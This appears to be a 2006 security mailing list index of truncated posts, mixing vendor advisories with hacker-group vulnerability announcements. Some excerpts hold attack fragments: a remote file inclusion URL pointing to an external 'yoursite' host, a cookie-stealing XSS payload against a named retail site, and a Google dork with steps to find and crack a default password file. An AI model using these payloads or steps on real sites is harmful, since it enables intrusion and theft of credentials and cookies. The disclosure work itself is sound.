==============================================

Discovered By: CrAzY CrAcKeR

Site:www.alshmokh.com

I want to thank my friend:-

nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r

Breeeeh-BoNy_m-Rootshill-LiNuX_rOOt-SauDiVirUs

==============================================

Example:-

/wbb2/profi

[ more ]  [ reply ]

-----------------------------------------------------
Advisory id: FSA:016

Author: Federico Fazzi
Date: 14/06/2006, 18:57
Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability
Type: high
Product: http://www.ispconfig.org/
Patch: unavailable
-----------------------------------------

[ more ]  [ reply ]

==============================================

Discovered By: CrAzY CrAcKeR

Site:www.alshmokh.com

I want to thank my friend:-

nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r

Breeeeh-BoNy_m-Rootshill-LiNuX_rOOt-SauDiVirUs

==============================================

Example:-

/studienpla

[ more ]  [ reply ]

=============================================

Discovered By: CrAzY CrAcKeR

Site:www.alshmokh.com

I want to thank my friend:-

nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r

Breeeeh-BoNy_m-Rootshill-LiNuX_rOOt-SauDiVirUs

=============================================

Example:-

/wbb2/thread.

[ more ]  [ reply ]

######################################################

# bbrss PhpBB (phpbb_root_path) Remote File Inclusion

######################################################

# Credit : SpC-x | The_BeKiR

# Site : http://wWw.SaVSaK.CoM

######################################################

# G

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory MDKSA-2006:100
http://www.mandriva.com/security/
____________________________________________________________________

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory MDKSA-2006:099-1
http://www.mandriva.com/security/
____________________________________________________________________

[ more ]  [ reply ]

======================================================================

Secunia Research 14/06/2006

- PicoZip "zipinfo.dll" Multiple Archives Buffer Overflow -

======================================================================
Table of Contents

Affected Software....

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear BugTraq Readers,

The speaker selection for Black Hat USA 2006 is now complete. We have a
fantastic line up of Briefings presentations and our largest selection of
Training this year.
Briefings: http://www.blackhat.com/html/bh-usa-06/bh-usa-06-sch

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-299-1 June 13, 2006
dhcdbd vulnerability
https://launchpad.net/bugs/49104
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu

[ more ]  [ reply ]

======================================================================

Secunia Research 14/06/2006

Internet Explorer Exception Handling Memory Corruption Vulnerability

======================================================================
Table of Contents

Affected Software

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-298-1 June 13, 2006
libgd2 vulnerability
CVE-2006-2906
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04
Ubuntu 5.10
Ub

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-297-1 June 13, 2006
mozilla-thunderbird vulnerabilities
CVE-2006-2775, CVE-2006-2776, CVE-2006-2778, CVE-2006-2779,
CVE-2006-2780, CVE-2006-2781, CVE-2006-2783, CVE-2006-2786,
CVE-2006-2787
=========

[ more ]  [ reply ]

SOFTWARE:

=========

Freeze Greetings

http://www.scriptsez.net/

DESCRIPTION:

============

google dork = "Powered by Freeze Greetings"

default password path http://www.site.com/freeze or path/PWD.txt

pwd file's password is encode the base64. pwd encode the base64 cracker and login to /

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-288-4 June 13, 2006
dovecot regression
https://launchpad.net/bugs/49601
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.

[ more ]  [ reply ]

This post appears to have some errors.

What PHP version, environment, and operating system did you use to
test this? Did you use a real web site, or did you just look at the
source code?

When a variable is used in a require or include statement, you must
make sure that the variable can be contro

[ more ]  [ reply ]

[MajorSecurity #17] SixCMS <= 6 - Multiple XSS and directory traversal vulnerabilities

----------------------------------------------

Software: SixCMS

Version: <=6

Type: Cross site scripting

Date: June, 12th 2006

Vendor: Six Offene Systeme GmbH

Page: http://www.sixcms.de

Cred

[ more ]  [ reply ]

# SaVSaK.CoM | SpC-x - The_BeKiR |

# G Shout 1.3.1 Version - Remote File Include Vulnerability

# Risk : High

# Class: Remote

# Script : G Shout

# Credits : SpC-x

# Thanks : The_BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# include("config.php");

# include("./includes/funct

[ more ]  [ reply ]

ZDI-06-018: Microsoft Internet Explorer DXImageTransform ActiveX Memory
Corruption Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-06-018.html
June 13, 2006

-- CVE ID:
CVE-2006-1303

-- Affected Vendor:
Microsoft

-- Affected Products:
Internet Explorer 6 All Versions
Internet Explor

[ more ]  [ reply ]

# SaVSaK.CoM | SpC-x - The_BeKiR |

# Simpleshout 1.6.0 Version - Remote File Include Vulnerability

# Risk : High

# Class: Remote

# Script : Simpleshout

# Credits : SpC-x

# Thanks : The_BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# // Require files

# require $config;

# V

[ more ]  [ reply ]

This should be fixed now.

[ more ]  [ reply ]

Multiple file include exploits in mcGuestbook 1.3

script type : mcGuestbook 1.3

bug found by : sweet-devil

team : site-down

type : file include

####################################################

exploits :

admin.php

http://www.example.com/path/admin.php?lang=http://yoursite/r

[ more ]  [ reply ]

Hello,
I have been found a security problem in the DBMS_STANDARD package. Anyone
knowns any kind of workaround for this problem? You can't create a package
called DBMS_STANDARD and rename the old one to any other name to create an
envoltory so there is no way (I think) to solve it.
Any recomended

[ more ]  [ reply ]

PhpMyFactures 1.0

*****************

Full Path Disclosure

********************

[Guest] http://[...]/verif.php

[Guest] http://[...]/inc/footer.php

[Guest] http://[...]/remises/ajouter_remise.php

Informations modification

*************************

[Guest] http://[...]/tva/ajouter_tva

[ more ]  [ reply ]

Homepage: www.gameplay.co.uk

Example:

http://shop.gameplay.co.uk/webstore/advanced_search.asp?Keyword=&terms=!
&badterm=<script>alert(document.cookie)</script>

Also...

The current password is not necessary for a successful password change for members of gameplay.co.uk which makes changing p

[ more ]  [ reply ]

> -----Original Message-----
> From: wiz561 (at) gmail (dot) com [email concealed] [mailto:wiz561 (at) gmail (dot) com [email concealed]]
> Sent: Thursday, June 08, 2006 5:29 PM
> To: bugtraq (at) securityfocus (dot) com [email concealed]
> Subject: Dell Openmanage CD Vulnerability
>
>
> When you boot up using the Dell PowerEdge Installation and
> Server Management Disc (P/N: WG12

[ more ]  [ reply ]

------------------------------------------------------------------------
---------------------------------------------------------

Credit : SpC-x

Mail : SpC-x (at) Bsdmail (dot) Org [email concealed]

------------------------------------------------------------------------
-------------------------------------------------------

[ more ]  [ reply ]

These XSS vulnerabilities have all been detected and patched.

[ more ]  [ reply ]